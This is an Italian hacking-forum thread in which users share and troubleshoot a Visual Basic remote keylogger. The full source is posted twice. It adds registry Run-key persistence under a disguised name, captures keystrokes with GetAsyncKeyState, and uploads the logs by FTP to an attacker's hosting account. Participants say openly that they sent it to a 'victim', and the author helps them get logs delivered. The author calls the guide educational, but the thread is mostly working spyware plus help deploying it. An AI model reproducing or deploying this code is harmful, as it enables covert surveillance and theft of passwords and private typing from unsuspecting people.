Thread obsoleto KeyLogger Remoto via FTP

FireFox · 26 Ottobre 2008

Se lo usate su di voi è sicuramente locale :

Intanto, HabboBabbo trovato il codice vicino alla parola WTShell vedi che c'e' un campo che si chiama nomekeylogger.exe, sostituiscilo con il nome che assume il file .exe sul tuo desktop.

Biscuit · 26 Ottobre 2008

Finalmente è andato in rilievo.;P

FireFox · 26 Ottobre 2008

L'avevo detto che raggiunti i 150 post ce lo mettevo ^^

Biscuit · 27 Ottobre 2008

Possibile che non mi arrivi ancora nulla??

::mad:

Poi mi sembra che qui possa andare dentro chiunque:

Perfavore, Entra oppure Registrati per vedere i Link!

:sisi:

FireFox · 27 Ottobre 2008

Biscuit abbiamo capito che non ti arriva niente.. E' inutile che continui a postare sempre la stessa cosa. Non capisco cosa sbagli..

Alberto091 · 27 Ottobre 2008

FireFox ha detto:
Biscuit abbiamo capito che non ti arriva niente.. E' inutile che continui a postare sempre la stessa cosa. Non capisco cosa sbagli..

cmq nemmeno a me arriva niente...eppure sono sicuro di vaer fatto tutto giusto! non si posta nemmeno il .txt

cmq il keylogger si potrebbe migliorare...

Biscuit · 28 Ottobre 2008

FireFox ha detto:
Biscuit abbiamo capito che non ti arriva niente.. E' inutile che continui a postare sempre la stessa cosa. Non capisco cosa sbagli..

E' lo so però questo keylogger mi servirebbe urgentemente!cry
Forse qui devo aggungere alla fine log.txt?huh

Codice:

Perfavore, Entra oppure Registrati per vedere i codici!

3n1gm1st4 · 28 Ottobre 2008

ciao a tutti componenti dello sciax2 forum
ciao firefox
inanzitutto mi complimento per la tua ottima guida ...
io ho compilato il keylogger lo ho mandato alla vittima ma non mi è arrivato niente... :S

eppure il codice lo inserisco giusto

Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\programmino.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\programmino.txt" For Output As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By FireFox - Testo digitato: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Freccia Giù>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Freccia Sù>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Freccia Destra>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Freccia Sinistra>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Pagina Sopra>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Pagina Sotto>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINE>"
End If
End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "amicinuovi" 'nome nostro account hosting
pswd = "miapass" 'password account hosting
ftpwebsite = "ftp://amicinuovi.altervista.org" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "programmino.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\programmino.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo xD
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub

FireFox · 29 Ottobre 2008

Ma voi modificate così a testa di cane?
Hai modificato la variabile nomefile, dunque hai modificato anche la locazione dell'upload..... Vai su

Perfavore, Entra oppure Registrati per vedere i Link!

e vedi.

3n1gm1st4 · 29 Ottobre 2008

mi da errore 404

FireFox · 29 Ottobre 2008

Intanto a Biscuit il problema dovrebbe essere risolto, sono andato sul suo sito/log.txt e c'erano i log

3n1gm1st4 · 29 Ottobre 2008

nn so xkè guarda qua :

Perfavore, Entra oppure Registrati per vedere i Link!

questo è il codice ke metto :

Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\programmino.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\data.txt" For Output As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By FireFox - Testo digitato: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Freccia Giù>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Freccia Sù>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Freccia Destra>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Freccia Sinistra>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Pagina Sopra>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Pagina Sotto>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINE>"
End If
End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "amicinuovi" 'nome nostro account hosting
pswd = "miapass" 'password account hosting
ftpwebsite = "ftp://amicinuovi.altervista.org" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\data.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo xD
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub

FireFox · 29 Ottobre 2008

Magari non sbloccate il programma.
-
Alberto il KeyLogger può benissimamente essere migliorato. Per esempio potrei utilizzare un sistema più rapido, che capta meglio le lettere e senza errori. Ma lo scopo della guida è imparare nozioni fondamentali quali il GetASyncKeyState, l'upload via FTP, la scrittura di chiavi di registro, il richiamo dei tasti ecc.. lo scopo principale è questo, non quello di usare un keylogger patpat

HabboBabbo · 29 Ottobre 2008

firefox ho fixato tuttoo... mi funziona ma c'è un piccolo (enorme) problema... nel log ci sono alcune lettere ke nn sn nell'ordine in cui le ho scritte.. cm mai?

3n1gm1st4 · 29 Ottobre 2008

firefox perfavore mi diresti dove sbaglio?

FireFox · 29 Ottobre 2008

HabboBabbo perchè scrivi troppo veloce, diminuisci il ritardo (150) e riprova.
Enigmista hai sbloccato il programma??

3n1gm1st4 · 29 Ottobre 2008

FIrefoX scusa in che senso sbloccare il programma?
come faccio a sbloccare perdona la mia ignoranza xd

FireFox · 29 Ottobre 2008

Ti arriverà un avviso del Firewall... e tu dovrai cliccare su Sblocca.

3n1gm1st4 · 29 Ottobre 2008

si ho fatto .......... adesso?

FireFox · 29 Ottobre 2008

Adesso aspetta 5-6 minuti e vedi che dovrebbero arrivare i log.

Thread obsoleto KeyLogger Remoto via FTP

Utente Mitico

Utente Attivo

Utente Mitico

Utente Attivo

Utente Mitico

Utente Master

Utente Attivo

Utente Assiduo

Utente Mitico

Utente Assiduo

Utente Mitico

Utente Assiduo

Utente Mitico

Nuovo utente

Utente Assiduo

Utente Mitico

Utente Assiduo

Utente Mitico

Utente Assiduo

Utente Mitico